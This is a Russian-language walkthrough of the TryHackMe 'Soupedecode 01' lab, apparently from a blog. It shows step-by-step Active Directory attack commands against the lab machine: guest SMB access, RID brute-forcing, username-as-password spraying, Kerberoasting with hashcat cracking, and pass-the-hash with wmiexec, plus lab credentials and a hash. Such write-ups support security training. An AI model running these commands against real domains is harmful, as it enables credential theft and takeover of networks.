Добавить в корзинуПозвонить
Найти в Дзене

Решение Soupedecode 01 на TryHackMe

1. Как всегда наччинается все с разведки, поэтому сканирую nmap 2. По результатам сканирования становится понятно, что есть контроллер доменов, так же я вижу имя хоста и домена SOUPEDECODE.LOCAL и DC01.SOUPEDECODE.LOCAL 3. Сразу вношу изменения в файл /etc/hosts 4. Используя утилиту nxc ищу общие ресурсы SMB и обнаруживаю, что вход в систему разрешен в качестве гостя и предоставлено право на чтение общего ресурса IPC$. 5. Используя доступ к общему ресурсу IPC$, я могу выполнить атаку методом подбора RID с помощью nxc для перечисления пользователей домена. Для этого использую команду: nxc smb dc01.soupedecode.local -u 'guest' -p '' --rid-brute 3000 | grep SidTypeUser | cut -d '\' -f 2 | cut -d ' ' -f 1 > usernames.txt где флаг --rid-brute 3000 перебирает 3000 наиболее распространенных RID и после этого отсортированные результаты сохраняются в файл usernames.txt исключая служебные имена. 6. После этого я попытался с использованием словарей сбрутить пароли пользователей, но у меня ничег

1. Как всегда наччинается все с разведки, поэтому сканирую nmap

-2

2. По результатам сканирования становится понятно, что есть контроллер доменов, так же я вижу имя хоста и домена SOUPEDECODE.LOCAL и DC01.SOUPEDECODE.LOCAL

3. Сразу вношу изменения в файл /etc/hosts

-3

4. Используя утилиту nxc ищу общие ресурсы SMB и обнаруживаю, что вход в систему разрешен в качестве гостя и предоставлено право на чтение общего ресурса IPC$.

флаг -u обозначает имя пользователя в данном случае это guest, флаг 
-p обозначает пароль, в данном случае он пустой, флаг --shares ищет 
доступные шары
флаг -u обозначает имя пользователя в данном случае это guest, флаг -p обозначает пароль, в данном случае он пустой, флаг --shares ищет доступные шары

5. Используя доступ к общему ресурсу IPC$, я могу выполнить атаку методом подбора RID с помощью nxc для перечисления пользователей домена. Для этого использую команду:

nxc smb dc01.soupedecode.local -u 'guest' -p '' --rid-brute 3000 | grep SidTypeUser | cut -d '\' -f 2 | cut -d ' ' -f 1 > usernames.txt

где флаг --rid-brute 3000 перебирает 3000 наиболее распространенных RID и после этого отсортированные результаты сохраняются в файл usernames.txt исключая служебные имена.

-5

6. После этого я попытался с использованием словарей сбрутить пароли пользователей, но у меня ничего не получилось, тогда я решил проверить а не может ли быть что имя пользователя совпадает с паролем, в жизни такое часто случается, поэтому в качестве параметров входа по имени и пароля я передал один и тот же файл

7. Использую команду:

nxc smb dc01.soupedecode.local -u usernames.txt -p usernames.txt --no-bruteforce --continue-on-success

Флаг --no-bruteforce говорит о том, что не надо перебирать все пароли с файла к одному пользователю, а только брать 1 строку с файла в качестве имени и ту же строку в качестве пароля, что позволяет проверить совпадение имени пользователя с паролем. Флаг --continue-on-success предписывает продолжать перебор в случае успешного входа

-6

8. Было найдено одно совпадение ybob317:ybob317, поэтому сразу посмотрел шары этого пользователя

-7

9. Вижу что мне доступна для чтения папка Users, поэтому решаю зайти от этого пользователя и прочитать содержимое папки, что бы найти пользовательский флаг

sudo smbclient //dc01.soupedecode.local/Users -U ybob317%ybob317

далее перехожу в папку ebob317, далее папка Desctop и в ней нахожу файл
user.txt, с помощью команды get user.txt скачиваю этот файл себе на
машину и читаю, там находится пользовательский флаг

-8

10. При наличии действительных учетных данных домена я проверяю наличие учетных записей Kerberoastable с помощью

sudo impacket-GetUserSPNs -request -outputfile kerberoastables.txt 'SOUPEDECODE.LOCAL/ybob317:ybob317'

-9

11. Читаю созданный фвйл kerberoastables.txt и вижу формат krb5tgs что соответствует цифровому значению 13100 в hashcat, в соответствии с этим делаю команду

hashcat kerberoastables.txt /usr/share/wordlists/rockyou.txt -m 13100

и получаю расшифрованный пароль Password123!!

-10

12. Теперь я могу посмотреть шары пользователя file_svc зная его пароль

-11

13. Вижу доступную для чтения папку backup, захожу и пытаюсь посмотреть ее содержимое

smbclient //dc01.soupedecode.local/backup -U 'SOUPEDECODE\file_svc%Password123!!'

-12

14. Нахожу файл backup_extract.txt, скачиваю его себе на машину и читаю содержимое

-13

15. Становится понятно что файл содержит имена пользователей с хэшами паролей

16. С этого файла надо получить имена пользователей и хэши, имена содержатся в первой колонке, а хэши в 4, поэтому создаю 2 файла, один с именами пользователей, второй с хэшами, для это использую команды

cat backup_extract.txt | cut -d ':' -f 1 > backup_extract_users.txt

cat backup_extract.txt | cut -d ':' -f 4 > backup_extract_hashes.txt

-14

17. Теперь использую пары логин и хэш обнаруживаю, что одна учетная запись FileServer действительна

-15

18. Так же у этой учетной записи есть флаг (Pwn3d!), что позволяет сделать вывод, что данная учетная запись имеет привелегии рута

19. С помощью команды

python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes :e41da7e79a4c76dbd9cf79d1cb325559 'SOUPEDECODE.LOCAL/FileServer$@10.10.63.176'

подключаюсь от пользователя FileServer$, проверяю какими правами я обладаю с помощью команды whoami /priv вижу что я рут. Перехожу в папку /Administrator/Desktop и нахожу там файл root.txt, с помощью команды type root.txt читаю флаг.

-16
-17
-18